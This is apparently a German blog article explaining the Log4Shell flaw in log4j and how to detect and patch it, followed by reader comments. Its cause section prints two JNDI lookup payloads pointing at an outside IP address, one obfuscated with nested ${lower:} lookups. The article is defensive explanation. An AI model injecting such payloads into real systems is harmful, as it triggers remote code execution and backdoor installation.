Java-Logging Proof-of-Concept
Der Zero-Day-Exploit mit einer kritische Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und Verunsicherung. Bekannt ist, dass die Lücke sehr weitverbreitet und vielfach ausgenutzt wird. Doch es ist noch längst nicht bekannt, was alles konkret betroffen ist und wie man seine Systeme am besten schützen kann. Der Beitrag zeigt das vorgehen und hilft das Problem einzudämmen.
Ursache
Der Exploit ermöglicht Remotecodeausführung und beruht darauf, dass Log4J Daten von LDAP über eine JNDI-Schnittstelle (Java Naming and Directory Interface) lädt.
In den Java-Archive kommt die Bibliothek Log4j häufig zum Einsatz. Wird über die JNDI-Schnittstelle ein Ereignis wie dieses protokolliert:
GET /?x=${jndi:ldap}://12.34.56.78
wird das nicht nur geloggt, es wird auch versucht den Text zu interpretieren, wie etwa mit:
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://12.34.56.78:12344
wird versucht den Host „12.34.56.78“ zu kontaktiert, nimmt von diesem malicious Java-Code entgegen und führt diesen aus. Anschließend folgt dann schnell ein gefährliches Backdoor Programm auf das System. Deshalb der Angriff bezeichnenderweise „Log4Shell“ genannt wird, mit Logging direkten Zugriff auf das System erhalten.

Log4shell erkennen mit log4j-detector
log4j-detector erkennt log4j-Versionen auf dem Dateisystem, einschließlich tief rekursiv verschachtelter Kopien. Ausführbar auf Linux, Windows und Mac und überall wo Java läuft!
Hat man Zugang zum System, auf diesem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Log4J-Bibliothek gesucht werden. Diese sind typischerweise in den Java JAR-Archiven. Der log4j-detector durchsucht diese und meldet anfällige Versionen von Log4J 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und aktuell ist 2.17.1 verfügbar, die Version 1.2.x ist nicht betroffen.
Ist wie hier die Unifi Controller Software installiert, sollte dringendst die Log4J-Bibliothek überprüft werden. Nach dem entpacken von log4j-detector-master.zip findet man im Verzeichnis die Datei log4j-detector-2021.12.13.jar.
java -jar log4j-detector-2021.12.13.jar "%UserProfile%\Ubiquiti UniFi"
log4j-detector mit Pfad Übergabe ausführen der gescannt werden soll.
Erscheint nach dem ausführen die Ausgabe _VULNERABLE_, hat man eine anfällige Version und es ist Handlungsbedarf angesagt.
Log4j absichern und vorbeugen
Ist man sich nicht sicher, ob die Infrastruktur abgesichert ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren. Dazu gehören unter anderem Maßnahmen wie:
- Zugangsbeschränkungen
- Segmentierte Netzwerke
- Reduzierte Rechte
- Beschränkung ausgehender Verbindungen
- Beschränkung ausführbarer Programme
Wenn noch kein Update des Herstellers vorliegt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups
auf true
sichern. Hierzu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True
oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true
. Beides funktioniert jedoch erst ab Log4J Version 2.10. im Zweifelsfall also erneut testen.
Bei Windows fügt man die Umgebungsvariable ein, über die Tasten Win+R mit Ausführen von „control sysdm.cpl,,3“
Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=“true“ unter Systemvariablen hinzufügen.
Ebenso besteht die Möglichkeit, den JVM Dienst mit Option zu starten.
java -Dlog4j2.formatMsgNoLookups=True -jar app.jar
Update Apache Log4j 2
Wenn es die Installation zulässt, kann man Log4j direkt updateten. Zum Download der neusten Apache Log4j 2 Version hier, nachdem entpacken die Dateien in der JRE Bibliothek ersetzen, die log4j-*.jar Dateien unter _jre_root_/lib/.
log4j-api-2.xx.x.jar
log4j-core-2.xx.x.jar
log4j-slf4j-impl-2.xx.x.jar
Apache Log4j 2 Update für Windows
Um die Log4j 2.17.1 Version für Java unter Windows 10 und Windows Server 2019 zu installieren (Update), wird eine Eingabeaufforderung (cmd) als Administrator geöffnet, um folgende Befehle auszuführen. Grundsätzlich können die Befehlszeilen auf anderen Windows Version ausgeführt werden, dabei muss beachtet werden, das anstelle von curl und tar ein Browser für den Download, und Winzip oder 7-Zip zum entpacken verwendet wird.
cd %userprofile%\downloads
curl -O https://archive.apache.org/dist/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.zip
tar -xf apache-log4j-2.17.1-bin.zip
cd apache-log4j-2.17.1-bin
copy log4j-api-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-core-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-slf4j-impl-2.17.1.jar "%JAVA_HOME%\lib"
cd "%JAVA_HOME%\lib"
ren log4j-api-?.??.?.jar log4j-api-x.xx.x.old
ren log4j-core-?.??.?.jar log4j-core-x.xx.x.old
ren log4j-slf4j-impl-?.??.?.jar log4j-slf4j-impl-x.xx.x.old
Die Umgebungsvariable %JAVA_HOME% muss vorhanden sein, bei Java 8 ist es für gewöhnlich C:\Program Files\Java\jre1.8.0_281, entsprechend der installierten Version.
Im Verzeichnis %JAVA_HOME%\lib müssen die bestehenden log4j-Dateien, zB. die Version 2.13.3-Dateien ersetzt werden, hierzu kann man symbolische Links erstellen, die 2.17.1-Dateien müssen auf die original 2.13.3-Dateien zeigen, diese zuvor umbenannt wurden.
cd "%JAVA_HOME%\lib"
mklink log4j-api-2.13.3.jar log4j-api-2.17.1.jar
mklink log4j-core-2.13.3.jar log4j-core-2.17.1.jar
mklink log4j-slf4j-impl-2.13.3.jar log4j-slf4j-impl-2.17.1.jar
Alle Apache log4j Versionen findet man im ASF-Archiv-Repository.
Hallo Matteo,
vielen Dank für Deine Unterstützung, jetzt hat es funktioniert.
Nach der Installation von git und dem Download des Repositorys konnte ich den Befehl ausführen. Ich habe verschiedene Pfade probiert und so, wie es aussieht, ist bei mir nur die jitsi videobridge betroffen, die aber als OKAY angegeben ist, da ich sie erst vor zwei Tagen auch aufgrund von log4j auf einem komplett neu aufgesetzten Ubuntu als Jitsi Server installiert habe.
Viele Grüße
Raul
Das repo mit git clone anlegen, Befehl: git clone https://github.com/mergebase/log4j-detector.git
wenn git noch nicht installiert ist, sudo apt install git -y
Ich habe leider keine Ahnung, wie man diese Software aus github in einem Linux System herunterlädt und installiert. Deshalb hilft mir dieser Artikel praktisch nicht.